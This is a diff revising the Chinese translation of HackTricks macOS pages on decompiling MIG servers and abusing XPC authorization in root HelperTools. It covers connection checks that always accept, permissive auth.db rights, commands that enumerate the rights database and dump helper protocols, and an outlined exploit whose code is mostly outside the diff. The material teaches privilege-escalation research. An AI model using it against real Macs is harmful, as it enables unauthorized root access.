先前提到，负责根据接收到的消息ID调用正确函数的函数是`myipc_server`。然而，通常你不会有二进制文件的符号（没有函数名），所以检查反编译后的代码是很有意思的，因为它们总是非常相似（这个函数的代码与暴露的函数无关）：
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server反编译 1" %}
|
||||
{% tab title="myipc_server decompiled 1" %}
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// 初始指令以找到正确的函数指针
|
||||
// 初始指令用于找到正确的函数指针
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
|
|
@ -283,20 +224,20 @@ var_18 = arg1;
|
|||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// 调用sign_extend_64函数，有助于识别此函数
|
||||
// 这将在rax中存储需要调用的调用的指针
|
||||
// 检查地址0x100004040的使用（函数地址数组）
|
||||
// 0x1f4 = 500（起始ID）
|
||||
// 调用 sign_extend_64 可以帮助识别这个函数
|
||||
// 这将在 rax 中存储需要被调用的指针
|
||||
// 检查地址 0x100004040 的使用（函数地址数组）
|
||||
// 0x1f4 = 500（起始 ID）
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// 如果-否则，如果返回false，则else调用正确的函数并返回true
|
||||
// If - else，if 返回 false，而 else 调用正确的函数并返回 true
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 计算的地址调用具有2个参数的正确函数
|
||||
// 计算出的地址调用正确的函数，带有 2 个参数
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
|
@ -312,8 +253,8 @@ return rax;
|
|||
</code></pre>
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server反编译 2" %}
|
||||
这是在不同版本的Hopper free中反编译的相同函数：
|
||||
{% tab title="myipc_server decompiled 2" %}
|
||||
这是在不同的 Hopper 免费版本中反编译的同一个函数：
|
||||
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
r31 = r31 - 0x40;
|
||||
|
|
@ -321,7 +262,7 @@ saved_fp = r29;
|
|||
stack[-8] = r30;
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// 初始指令以找到正确的函数指针
|
||||
// 初始指令用于找到正确的函数指针
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
|
|
@ -345,7 +286,7 @@ r8 = 0x1;
|
|||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
// 0x1f4 = 500（起始ID）
|
||||
// 0x1f4 = 500（起始 ID）
|
||||
<strong> r8 = r8 - 0x1f4;
|
||||
</strong> asm { smaddl x8, w8, w9, x10 };
|
||||
r8 = *(r8 + 0x8);
|
||||
|
|
@ -356,15 +297,15 @@ if (CPU_FLAGS & NE) {
|
|||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// 与上一个版本相同的if else
|
||||
// 检查地址0x100004040的使用（函数地址数组）
|
||||
// 与前一个版本相同的 if else
|
||||
// 检查地址 0x100004040 的使用（函数地址数组）
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 调用计算的地址，其中应该包含函数
|
||||
// 调用计算出的地址，该地址应该是函数所在的位置
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
|
@ -388,19 +329,22 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
实际上，如果你转到函数**`0x100004000`**，你会找到**`routine_descriptor`**结构体的数组。结构体的第一个元素是实现函数的**地址**，而**结构体占用0x28字节**，所以每0x28字节（从字节0开始），你可以获取8个字节，这将是将要调用的**函数的地址**：
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
实际上，如果你去函数 **`0x100004000`**，你会找到 **`routine_descriptor`** 结构体的数组。结构体的第一个元素是实现 **函数** 的 **地址**，并且 **结构体占用 0x28 字节**，所以每隔 0x28 字节（从字节 0 开始），你可以得到 8 字节，那将是将被调用的 **函数的地址**：
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
可以使用[**此Hopper脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取这些数据。
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取最新版本的PEASS或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
这些数据可以通过[**使用这个 Hopper 脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗？你想在 HackTricks 中看到你的 **公司广告** 吗？或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来**分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,25 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在 HackTricks 中**宣传你的公司**吗？或者你想获得**PEASS 的最新版本或下载 PDF 格式的 HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS 和 HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作，想在**HackTricks**中看到您的**公司广告**，或者想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列，[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## XPC 授权
|
||||
|
||||
苹果还提出了另一种方法来验证连接的进程是否具有**调用公开的 XPC 方法的权限**。
|
||||
苹果还提出了另一种验证连接进程是否有**权限调用暴露的 XPC 方法**的方法。
|
||||
|
||||
当应用程序需要**以特权用户身份执行操作**时，通常不会将应用程序作为特权用户运行，而是将 HelperTool 作为 XPC 服务以 root 用户身份安装，应用程序可以从中调用以执行这些操作。但是，调用服务的应用程序应具有足够的授权。
|
||||
当应用程序需要以特权用户身份**执行操作**时，通常不会以特权用户身份运行应用程序，而是以 root 用户身份安装一个作为 XPC 服务的 HelperTool，该服务可以被应用程序调用以执行这些操作。然而，调用服务的应用程序应该有足够的授权。
|
||||
|
||||
### ShouldAcceptNewConnection 总是 YES
|
||||
### ShouldAcceptNewConnection 总是返回 YES
|
||||
|
||||
在 [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) 中可以找到一个示例。在 `App/AppDelegate.m` 中，它尝试**连接**到**HelperTool**。而在 `HelperTool/HelperTool.m` 中，函数**`shouldAcceptNewConnection`** **不会检查**之前提到的任何要求。它将始终返回 YES：
|
||||
一个例子可以在 [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) 中找到。在 `App/AppDelegate.m` 中，它尝试**连接**到**HelperTool**。并且在 `HelperTool/HelperTool.m` 中，函数 **`shouldAcceptNewConnection`** **不会检查**之前指示的任何要求。它将始终返回 YES：
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
|
@ -37,7 +37,7 @@ newConnection.exportedObject = self;
|
|||
return YES;
|
||||
}
|
||||
```
|
||||
有关如何正确配置此检查的更多信息，请参阅：
|
||||
有关如何正确配置此检查的更多信息：
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
|
|
@ -45,10 +45,10 @@ return YES;
|
|||
|
||||
### 应用程序权限
|
||||
|
||||
然而，当调用 HelperTool 的方法时，会进行一些授权操作。
|
||||
然而，当从 HelperTool 调用方法时，确实存在一些**授权操作**。
|
||||
|
||||
`App/AppDelegate.m` 中的函数 `applicationDidFinishLaunching` 在应用程序启动后会创建一个空的授权引用。这应该总是有效的。\
|
||||
然后，它将尝试通过调用 `setupAuthorizationRights` 向该授权引用添加一些权限：
|
||||
函数 **`applicationDidFinishLaunching`** 来自 `App/AppDelegate.m` 将在应用程序启动后创建一个空的授权引用。这应该总是有效的。\
|
||||
然后，它将尝试通过调用 `setupAuthorizationRights` 向该授权引用**添加一些权限**：
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
{
|
||||
|
|
@ -72,7 +72,9 @@ if (self->_authRef) {
|
|||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
`Common/Common.m`中的`setupAuthorizationRights`函数将应用程序的权限存储在`/var/db/auth.db`授权数据库中。请注意，它只会添加尚未存在于数据库中的权限：
|
||||
```markdown
|
||||
函数 `setupAuthorizationRights` 来自 `Common/Common.m`，它会将应用程序的权限存储在授权数据库 `/var/db/auth.db` 中。请注意，它只会添加数据库中尚不存在的权限：
|
||||
```
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
|
|
@ -104,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
|
|||
}];
|
||||
}
|
||||
```
|
||||
函数`enumerateRightsUsingBlock`用于获取应用程序的权限，这些权限在`commandInfo`中定义：
|
||||
函数 `enumerateRightsUsingBlock` 用于获取在 `commandInfo` 中定义的应用程序权限：
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
|
|
@ -182,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
这意味着在此过程结束时，`commandInfo`中声明的权限将存储在`/var/db/auth.db`中。请注意，您可以在其中找到**每个需要身份验证的方法**，**权限名称**和**`kCommandKeyAuthRightDefault`**。后者**指示谁可以获得此权限**。
|
||||
这意味着在此过程结束时，`commandInfo`内声明的权限将被存储在`/var/db/auth.db`中。注意，在那里你可以找到**每个需要认证的方法**，**权限名称**和**`kCommandKeyAuthRightDefault`**。后者**指示谁可以获得此权限**。
|
||||
|
||||
有不同的范围来指示谁可以访问权限。其中一些在[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)中定义（您可以在[此处找到所有内容](https://www.dssw.co.uk/reference/authorization-rights/)），但总结如下：
|
||||
有不同的范围来指示谁可以访问权限。其中一些在[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)中定义（你可以[在这里找到所有的范围](https://www.dssw.co.uk/reference/authorization-rights/)），但作为总结：
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">名称</th><th width="165">值</th><th>描述</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>任何人</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>无人</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>当前用户需要是管理员（在管理员组内）</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>要求用户进行身份验证。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>要求用户进行身份验证。他需要是管理员（在管理员组内）</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>指定规则</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>在权限上指定一些额外的注释</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">名称</th><th width="165">值</th><th>描述</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>任何人</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>没有人</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>当前用户需要是管理员（在管理员组内）</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>要求用户认证。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>要求用户认证。他需要是管理员（在管理员组内）</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>指定规则</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>指定权限的一些额外评论</td></tr></tbody></table>
|
||||
|
||||
### 权限验证
|
||||
|
||||
在`HelperTool/HelperTool.m`中，函数**`readLicenseKeyAuthorization`**检查调用者是否被授权**执行此方法**，调用函数**`checkAuthorization`**。此函数将检查调用进程发送的**authData**是否具有**正确的格式**，然后将检查**获取权限所需的内容**以调用特定方法。如果一切顺利，**返回的`error`将为`nil`**：
|
||||
在`HelperTool/HelperTool.m`中，函数**`readLicenseKeyAuthorization`**检查调用者是否有权**执行此方法**，通过调用函数**`checkAuthorization`**。此函数将检查调用进程发送的**authData**是否**格式正确**，然后将检查**获得调用特定方法的权限需要什么**。如果一切顺利，**返回的`error`将是`nil`**：
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
|
@ -238,37 +240,39 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
请注意，要检查调用该方法的权限，函数`authorizationRightForCommand`将仅检查先前的注释对象`commandInfo`。然后，它将调用`AuthorizationCopyRights`来检查是否有权调用该函数（请注意，标志允许与用户交互）。
|
||||
请注意，为了**检查获取调用该方法的正确权限的要求**，函数`authorizationRightForCommand`将仅检查先前评论的对象**`commandInfo`**。然后，它将调用**`AuthorizationCopyRights`**来检查**是否有权**调用该函数（注意，标志允许与用户交互）。
|
||||
|
||||
在这种情况下，要调用函数`readLicenseKeyAuthorization`，`kCommandKeyAuthRightDefault`被定义为`@kAuthorizationRuleClassAllow`。因此，**任何人都可以调用它**。
|
||||
在这种情况下，要调用函数`readLicenseKeyAuthorization`，`kCommandKeyAuthRightDefault`被定义为`@kAuthorizationRuleClassAllow`。所以**任何人都可以调用它**。
|
||||
|
||||
### 数据库信息
|
||||
|
||||
提到这些信息存储在`/var/db/auth.db`中。您可以使用以下命令列出所有存储的规则：
|
||||
提到这些信息存储在`/var/db/auth.db`中。您可以列出所有存储的规则，使用：
|
||||
```sql
|
||||
sudo sqlite3 /var/db/auth.db
|
||||
SELECT name FROM rules;
|
||||
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||
```
|
||||
然后，您可以使用以下命令查看谁可以访问权限：
|
||||
```plaintext
|
||||
然后，您可以阅读谁可以访问该权限：
|
||||
```
|
||||
```bash
|
||||
security authorizationdb read com.apple.safaridriver.allow
|
||||
```
|
||||
### 宽松的权限
|
||||
### 宽松权限
|
||||
|
||||
你可以在[这里](https://www.dssw.co.uk/reference/authorization-rights/)找到**所有的权限配置**，但是不需要用户交互的组合是：
|
||||
您可以在[**这里**](https://www.dssw.co.uk/reference/authorization-rights/)找到**所有权限配置**，但不需要用户交互的组合是：
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* 这是最直接的键。如果设置为`false`，表示用户无需提供身份验证即可获得此权限。
|
||||
* 这与下面的两个键之一或指定的用户组合一起使用。
|
||||
* 这是最直接的键。如果设置为`false`，它指定用户无需提供认证即可获得此权限。
|
||||
* 这通常与下面两个中的一个**结合使用，或指示用户必须属于某个组**。
|
||||
2. **'allow-root': 'true'**
|
||||
* 如果用户作为具有提升权限的root用户操作，并且此键设置为`true`，则root用户可能无需进一步身份验证即可获得此权限。然而，通常情况下，要达到root用户状态已经需要进行身份验证，所以对于大多数用户来说，这不是一个“无需身份验证”的情况。
|
||||
* 如果用户以root用户（具有提升权限的用户）的身份操作，并且此键设置为`true`，则root用户可能在无需进一步认证的情况下获得此权限。然而，通常情况下，获得root用户状态已经需要认证，所以对大多数用户来说，这不是一个“无需认证”的场景。
|
||||
3. **'session-owner': 'true'**
|
||||
* 如果设置为`true`，会话的所有者（当前登录的用户）将自动获得此权限。如果用户已经登录，则可能绕过其他身份验证。
|
||||
* 如果设置为`true`，会话的所有者（当前登录的用户）将自动获得此权限。如果用户已经登录，这可能会绕过额外的认证。
|
||||
4. **'shared': 'true'**
|
||||
* 此键不会在没有身份验证的情况下授予权限。相反，如果设置为`true`，意味着一旦权限得到验证，它可以在多个进程之间共享，而无需每个进程重新进行身份验证。但是，初始授予权限仍然需要进行身份验证，除非与其他键（如`'authenticate-user': 'false'`）组合使用。
|
||||
* 此键不授予无需认证的权限。相反，如果设置为`true`，这意味着一旦权限经过认证，它可以在多个进程之间共享，而无需每个进程重新认证。但是，权限的最初授予仍然需要认证，除非与其他键如`'authenticate-user': 'false'`结合使用。
|
||||
|
||||
你可以使用[**这个脚本**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)获取有趣的权限：
|
||||
您可以[**使用此脚本**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)来获取有趣的权限：
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
|
@ -281,27 +285,27 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
```
|
||||
## 反向授权
|
||||
|
||||
### 检查是否使用EvenBetterAuthorization
|
||||
### 检查是否使用了EvenBetterAuthorization
|
||||
|
||||
如果你找到了函数：**`[HelperTool checkAuthorization:command:]`**，那么该进程可能正在使用之前提到的授权模式：
|
||||
如果你发现函数：**`[HelperTool checkAuthorization:command:]`**，那么很可能该进程使用了之前提到的授权模式：
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果这个函数调用了`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数，那么它正在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
|
||||
如果这个函数调用了如`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数，它就是在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
|
||||
|
||||
检查**`/var/db/auth.db`**以查看是否可以在没有用户交互的情况下获得调用某些特权操作的权限。
|
||||
检查**`/var/db/auth.db`**，看看是否有可能在不需要用户交互的情况下获得调用某些特权操作的权限。
|
||||
|
||||
### 协议通信
|
||||
|
||||
然后，您需要找到协议模式，以便能够与XPC服务建立通信。
|
||||
然后，你需要找到协议模式，以便能够与XPC服务建立通信。
|
||||
|
||||
函数**`shouldAcceptNewConnection`**指示正在导出的协议：
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在这种情况下，我们与EvenBetterAuthorizationSample中的情况相同，[**查看此行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
在这个例子中，我们有的和EvenBetterAuthorizationSample中的一样，[**检查这一行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
|
||||
知道所使用协议的名称后，可以使用以下命令**转储其头文件定义**：
|
||||
知道了使用的协议名称，就可以用以下方法**转储其头文件定义**：
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
|
@ -315,13 +319,13 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
最后，我们只需要知道**暴露的 Mach 服务的名称**，以便与其建立通信。有几种方法可以找到它：
|
||||
最后，我们只需要知道**暴露的Mach服务的名称**，以便与之建立通信。有几种方法可以找到这个名称：
|
||||
|
||||
* 在**`[HelperTool init]`**中，您可以看到正在使用的 Mach 服务：
|
||||
* 在 **`[HelperTool init]`** 中，您可以看到正在使用的Mach服务：
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 在 launchd plist 中：
|
||||
* 在launchd plist中：
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||
|
||||
|
|
@ -334,14 +338,14 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
|||
</dict>
|
||||
[...]
|
||||
```
|
||||
### 漏洞利用示例
|
||||
### 利用示例
|
||||
|
||||
在这个示例中创建了以下内容：
|
||||
在此示例中创建：
|
||||
|
||||
* 协议的定义和函数
|
||||
* 一个空的授权用于请求访问权限
|
||||
* 协议定义及其函数
|
||||
* 用于请求访问的空认证
|
||||
* 与XPC服务的连接
|
||||
* 如果连接成功，则调用该函数
|
||||
* 如果连接成功，则调用函数
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Security expl.m -o expl
|
||||
|
||||
|
|
@ -425,12 +429,12 @@ NSLog(@"Finished!");
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
